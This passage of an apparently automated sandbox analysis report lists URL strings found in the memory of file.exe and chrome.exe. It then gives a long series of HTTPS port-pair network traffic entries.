Source: chrome.exe, 00000003.00000002.2371631544.0000716C02704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2433948066.0000716C02928000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2425440397.0000716C027CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2440569032.0000716C02DD8000.00000004.00000800.00020000.00000000.sdmp, AKJDGIEH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2291613816.0000716C030FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl
Source: chrome.exe, 00000003.00000002.2369428302.0000716C0266C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2269906541.0000716C02594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitql
Source: chrome.exe, 00000003.00000002.2438864304.0000716C02C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000003.2290709845.0000716C02518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000002.2364466056.0000716C0221C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.2297379436.0000716C0378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2294697631.0000716C0360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.2366692051.0000716C0240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.2458863953.0000716C03308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000002.2458863953.0000716C03308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000002.2369846834.0000716C026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2292297720.0000716C0356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2292597904.0000716C03520000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2292830735.0000716C034F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2462684100.0000716C03528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2294135497.0000716C035A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2292749469.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291846672.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000003.00000003.2291634885.0000716C034DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: file.exe, 00000000.00000002.2664752549.0000000000C06000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2601234523.000000002412B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2664752549.0000000000C06000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2601234523.000000002412B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2601234523.000000002412B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, JEGHJDGIJECGDHJJECGH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.2367350850.0000716C024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
